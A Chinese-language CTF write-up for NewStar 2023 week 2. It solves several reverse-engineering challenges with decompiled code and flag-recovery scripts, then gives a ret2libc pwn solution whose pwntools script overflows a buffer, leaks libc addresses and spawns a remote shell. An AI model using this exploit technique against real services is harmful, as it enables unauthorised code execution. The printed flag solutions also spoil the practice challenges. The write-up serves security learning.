newstar week2
RE
PZthon
发现是python写的,先用 pyinstxtractor解包,然后将PZthon.pyc用pycdc反编译得到源码
# Source Generated with Decompyle++
# File: PZthon.pyc (Python 3.9)
def hello():
art = '\n ___ \n // ) ) / / // ) ) // | | / / // | | \\ / / \\ / / \n //___/ / / / // //__| | / / //__| | \\ / \\ / / \n / ____ / / / // ____ / ___ | / / / ___ | / / \\/ / \n // / / // / / // | | / / // | | / /\\ / / \n// / /___ ((____/ / // | | / /____/ / // | | / / \\ / / \n \n / / // / / || / / // / / / / /__ ___/ || / | / / // ) ) \n / / //____ || / / //____ / / / / || / | / / // / / \n / / / ____ || / / / ____ / / / / || / /||/ / // / / \n / / // ||/ / // / / / / ||/ / | / // / / \n / /____/ / //____/ / | / //____/ / / /____/ / / / | / | / ((___/ / \n'
print(art)
return bytearray(input('Please give me the flag: ').encode())
enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]
data = hello()
for i in range(len(data)):
data[i] = data[i] ^ 21
if bytearray(enc) == data:
print('WOW!!')
else:
print('I believe you can do it!')
input('To be continue...')
异或一下拿到flag
enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]
for i in enc:
print(chr(i ^ 21),end="")
SMC
smc 顾名思义Self-Modifying Code,将代码加密,在运行的时候运行解密的函数,解密加密的代码
这里首先用了一个 VP函数改变了text段的权限,然后通过sub_401042() 里的逻辑,对加密的代码解密,只需要用idapy写一个解密的逻辑,然后转unk类型 转function类型,就能看到加密前的逻辑了
int __cdecl main(int argc, const char **argv, const char **envp)
{
DWORD *v3; // eax
v3 = (DWORD *)malloc(0x26u);
VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
puts("Please enter your flag:");
sub_401025("%s", (char)&unk_4033D4);
if ( NtCurrentPeb()->BeingDebugged )
{
MessageBoxA(0, "Debug Detected!", "Warning!", 0);
Sleep(0x1388u);
exit(0);
}
sub_401042();
if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
puts("Win!");
else
puts("Lose!");
return system("pause");
}
char sub_401042()
{
int i; // ecx
char result; // al
for ( i = 0; i < 38; ++i )
{
result = byte_403068[i & 3];
byte_403040[i] ^= result;
}
return result;
}
import ida_bytes
start_addr = 0x00403040
end_addr = start_addr + 38
xor_data_addr = 0x00403068
# 获取异或数据
xor_data = [ida_bytes.get_byte(xor_data_addr + i) for i in range(4)]
for addr in range(start_addr, end_addr):
# 获取当前地址的数据
data = ida_bytes.get_byte(addr)
xor_result = data ^ xor_data[(addr - start_addr) % len(xor_data)]
ida_bytes.patch_byte(addr, xor_result)
print("success")
操作结束后,将类型先转换成unk ,然后转换成function,就能看到原来的逻辑
char sub_403040()
{
int v0; // edx
v0 = 0;
while ( ((unsigned __int8)inputString[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
{
if ( ++v0 >= 32 )
return 1;
}
return 0;
}
先加五,再异或 0x11 就能拿到flag了
flag = [0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]
for i in flag:
byte = (i - 5) ^ 0x11
print(chr(byte),end="")
Petals
这里有个loc_1209的段 反编译有问题
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+Ch] [rbp-4h]
puts("Here is a pack of flowers, to my best love --- you.");
puts("But I must check your identity, please input the right passwd");
__isoc99_scanf("%s", byte_4080);
v4 = strlen(byte_4080);
if ( strlen(byte_4080) != 25 )
{
puts("Please check your input's format!");
exit(-1);
}
((void (__fastcall *)(char *, _QWORD))loc_1209)(byte_4080, v4);
sub_160C(byte_4080, &unk_4020, v4);
printf("If you are succeed, the flag is flag{md5(your input)}");
return 0LL;
}
这里有个花指令,call 了一个无效的地址,nop一下,重新打包main function反编译就显示正常了
.text:00000000000013AC 74 03 jz short near ptr loc_13B0+1
.text:00000000000013AC
.text:00000000000013AE 75 01 jnz short near ptr loc_13B0+1
.text:00000000000013AE
.text:00000000000013B0
.text:00000000000013B0 loc_13B0: ; CODE XREF: .text:00000000000013AC↑j
.text:00000000000013B0 ; .text:00000000000013AE↑j
.text:00000000000013B0 E8 C7 85 EC FE call near ptr 0FFFFFFFFFEEC997Ch
这里的逻辑是通过 ~(i ^ a2) 来初始化一个 255的数组,将flag的值当做下标选取v5数组中的值替换flag[i] ,置反的话,首先是生成一个 ~(i ^ a2)的数组,然后根据cmp的数据去查找~(i ^ a2) 对应数据的下标,下标拼接再md5就是flag
unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
int i; // [rsp+18h] [rbp-118h]
unsigned int j; // [rsp+1Ch] [rbp-114h]
__int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(v5, 0, 256);
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v5 + i) = ~(i ^ a2);
for ( j = 0; a2 > j; ++j )
*(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
return v6 - __readfsqword(0x28u);
}
flag = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87]
v5 = [0] * 256
a2 = len(flag)
for i in range(256):
v5[i] = ~(i ^ a2) & 0xFF
inputString = []
for byte_val in flag:
inputString.append(v5.index(byte_val))
for i in inputString:
print(chr(i),end="")
AndroGenshin
逻辑大概是用 it_is_not_RC4.rc4函数和genshinimpact key去加密base64table,用加密的base64table和it_is_not_base64去加密password,和一个字符串进行cmp,置反的流程是先算出解密的base64table是多少,用解密后的base64table去解密cmp的字符串就能拿到flag
package com.genshin.impact;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.ItemTouchHelper;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
EditText pass;
EditText user;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.user = (EditText) findViewById(R.id.editTextTextUser);
this.pass = (EditText) findViewById(R.id.editTextTextpassword);
Button button1 = (Button) findViewById(R.id.button);
button1.setOnClickListener(new View.OnClickListener() { // from class: com.genshin.impact.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String username = MainActivity.this.user.getText().toString();
String password = MainActivity.this.pass.getText().toString();
if (username.length() == 0 || password.length() == 0) {
Toast.makeText(MainActivity.this, (int) R.string.wrong3, 0).show();
return;
}
if (!username.equals("genshinimpact")) {
Toast.makeText(MainActivity.this, (int) R.string.wrong1, 0).show();
}
int[] base64_table = {125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150};
String retval = it_is_not_RC4.rc4(username, base64_table);
String result2 = it_is_not_base64.encode(password.getBytes(), retval);
if (!result2.equals("YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1=")) {
Toast.makeText(MainActivity.this, (int) R.string.wrong2, 0).show();
return;
}
Toast.makeText(MainActivity.this, (int) R.string.Congratulate, 0).show();
Intent intent = new Intent(MainActivity.this, MainActivity2.class);
MainActivity.this.startActivity(intent);
}
});
}
}
import base64
def rc4(keyStr, data):
key = keyStr.encode()
s = [i for i in range(256)]
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (s[i] + j + k[i]) & 255
temp = s[i]
s[i] = s[j]
s[j] = temp
result = []
j2 = 0
i3 = 0
for i4 in data:
i3 = (i3 + 1) & 255
j2 = (s[i3] + j2) & 255
temp2 = s[i3]
s[i3] = s[j2]
s[j2] = temp2
rnd = s[(s[i3] + s[j2]) & 255]
result.append(chr(i4 ^ rnd))
return ''.join(result)
def decode_custom_base64(data, CUSTOM_TABLE):
base64_standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans_data = data.translate(str.maketrans(CUSTOM_TABLE, base64_standard))
decoded_bytes = base64.b64decode(trans_data)
return decoded_bytes.decode('utf-8')
base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211,
164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144,
231, 255, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
username = "genshinimpact"
custom_table = rc4(username, base64_table)
flag = "YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
flag = decode_custom_base64(flag, custom_table)
print(flag)
C?C++?
用die发现是.net的程序,ida打开全是msil,搜索了一下,可以用jb家的dotPeek来反编译,反编译后的逻辑是这样的,先将inputString按字节加上一个范围是0-35的 index,减去' '的ascii,然后进行一个块操作,块大小为5字节,循环七次,对每个块中的每个字节,都有一个独立的+=的操作。分析清楚逻辑后就可以开始置反操作写解密脚本啦
// Decompiled with JetBrains decompiler
// Type: ConsoleApp1.Program
// Assembly: ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F409EFA1-6A9F-40C9-9C3E-A5D06A17BC7D
// Assembly location: G:\ctf\newStar2023\week2\re\Strange.exe
using System;
namespace ConsoleApp1
{
internal class Program
{
private static void Main(string[] args)
{
int num1 = 35;
int[] numArray1 = new int[35]
{
68,
75,
66,
72,
99,
19,
19,
78,
83,
74,
91,
86,
35,
39,
77,
85,
44,
89,
47,
92,
49,
88,
48,
91,
88,
102,
105,
51,
76,
115,
-124,
125,
79,
122,
-103
};
char[] chArray = new char[35];
int[] numArray2 = new int[35];
Console.Write("Input your flag: ");
string str1 = Console.ReadLine();
for (int index = 0; index < str1.Length; ++index)
chArray[index] = str1[index];
string str2 = "NEWSTAR";
for (int index = 0; index < num1; ++index)
{
chArray[index] += (char) index;
chArray[index] -= ' ';
}
for (int index = 0; index < 7; ++index)
{
chArray[index] += (char) (index ^ -((int) str2[index] % 4));
chArray[index + 7] += (char) ((uint) str2[index] % 5U);
chArray[index + 14] += (char) (2 * index);
chArray[index + 21] += (char) (index ^ 2);
chArray[index + 28] += (char) ((int) str2[index] / 5 + 10);
}
for (int index = 0; index < num1; ++index)
{
int num2 = (int) chArray[index];
numArray2[index] = num2;
}
for (int index = 0; index < 35; ++index)
{
if (index == 34 && numArray2[index] == numArray1[index])
Console.WriteLine("Right!");
if (numArray2[index] != numArray1[index])
{
Console.WriteLine("Wrong!");
break;
}
}
}
}
}
flag = [68, 75, 66, 72, 99, 19, 19, 78, 83, 74, 91, 86, 35, 39, 77, 85, 44, 89, 47,
92, 49, 88, 48, 91, 88, 102, 105, 51, 76, 115, -124, 125, 79, 122, -103]
str2 = "NEWSTAR"
for i in range(7):
flag[i] -= (i ^ -(ord(str2[i]) % 4))
flag[i + 7] -= (ord(str2[i]) % 5)
flag[i + 14] -= 2 * i
flag[i + 21] -= i ^ 2
flag[i + 28] -= (ord(str2[i]) // 5 + 10)
for i in range(len(flag)):
flag[i] = (flag[i] - i + ord(' ')) % 256
result = ''.join([chr(i) for i in flag])
print(result)
R4ndom
这个题好坑,有个srand不在main里面,导致出来的随机数都是错误的
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // bl
int v4; // eax
int i; // [rsp+Ch] [rbp-94h]
__int64 s2[6]; // [rsp+10h] [rbp-90h] BYREF
__int16 v8; // [rsp+40h] [rbp-60h]
char s[8]; // [rsp+50h] [rbp-50h] BYREF
__int64 v10; // [rsp+58h] [rbp-48h]
__int64 v11; // [rsp+60h] [rbp-40h]
__int64 v12; // [rsp+68h] [rbp-38h]
__int64 v13; // [rsp+70h] [rbp-30h]
__int64 v14; // [rsp+78h] [rbp-28h]
__int16 v15; // [rsp+80h] [rbp-20h]
unsigned __int64 v16; // [rsp+88h] [rbp-18h]
v16 = __readfsqword(0x28u);
s2[0] = 0x3513AB8AB2D7E6EELL;
s2[1] = 0x2EEDBA9CB9C97B02LL;
s2[2] = 0x16E4F8C8EEFA4FBDLL;
s2[3] = 0x383014F4983B6382LL;
s2[4] = 0xEA32360C3D843607LL;
s2[5] = 42581LL;
v8 = 0;
puts("Can You Find the Secret?");
puts("Give me your flag");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
__isoc99_scanf("%s", s);
if ( strlen(s) != 42 )
exit(0);
for ( i = 0; i < strlen(s); ++i )
{
v3 = s[i];
v4 = rand();
s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
}
if ( !memcmp(s, s2, 0x2AuLL) )
puts("You get the Right Flag!!");
else
puts("Maybe your flag is Wrong o.O?");
return 0;
}
unsigned __int64 b(void)
{
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
srand(0x5377654Eu);
return __readfsqword(0x28u) ^ v1;
}
str2 = [
0x3513AB8AB2D7E6EE, 0x2EEDBA9CB9C97B02, 0x16E4F8C8EEFA4FBD,
0x383014F4983B6382, 0xEA32360C3D843607, 42581
]
Table = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82,
0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26,
0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96,
0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0,
0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF,
0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32,
0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6,
0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E,
0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E,
0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F,
0xB0, 0x54, 0xBB, 0x16
]
v4_values = [
1339546161, 401979842, 1084912717, 882247430, 1048050849, 1950252444,
1188894224, 1035316485, 1004145938, 292996994, 698777994, 1572612448,
187344395, 1998928827, 490869405, 1976471722, 861192779, 1683160727,
1968082326, 1836887756, 1806801098, 176220730, 2616407, 375557835,
1798606494, 1079742625, 657352025, 1384338308, 1249182411, 600742620,
1626386373, 441244924, 1002722462, 563815442, 1323492354, 2050773311,
366584239, 364902931, 938606148, 1370730177, 657899925, 1637384142
]
s2 = bytearray(b for value in str2 for b in value.to_bytes(8, byteorder="little"))
for val in s2.strip():
rand_v4 = v4_values[s2.index(val) % len(v4_values)]
decoded_char = next(
(chr(chr_val) for chr_val in range(129)
if Table[(16 * ((chr_val + rand_v4 % 255) >> 4) + 0xF) &
(chr_val + rand_v4 % 255) % len(Table)] == val),
None
)
if decoded_char:
print(decoded_char, end="")
PWN
ret2libc
通过put_plt put_got 还有 read_got的方式泄露这两个地址,用libcsearcher 去找对应的libc版本,找到后根据libc中的偏移算出libc的基地址,然后就能拿到system和binsh啦
from pwn import *
from LibcSearcher import *
elf = context.binary = ELF("ret2libc")
context.log_level = "debug"
# p = process()
ip = "node4.buuoj.cn"
port = 29460
p = remote(ip,port)
puts_got = elf.got['puts']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400763
ret = 0x0000000000400506
main = 0x0000000000400698
offset = b'a' * (0x20 + 0x8)
####################################################### leak_addr1
payload = offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr1 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr1[puts] -> {hex(leak_addr1)}")
################################################## leak_addr2
payload = offset + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr2 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr2[read] -> {hex(leak_addr2)}")
libc = LibcSearcher("puts",leak_addr1)
libc.add_condition("read",leak_addr2)
libc_base = leak_addr1 - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
payload = offset + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendlineafter(b"again\n",payload)
p.interactive()
这周有些忙,没有花太多时间在newstar上qaq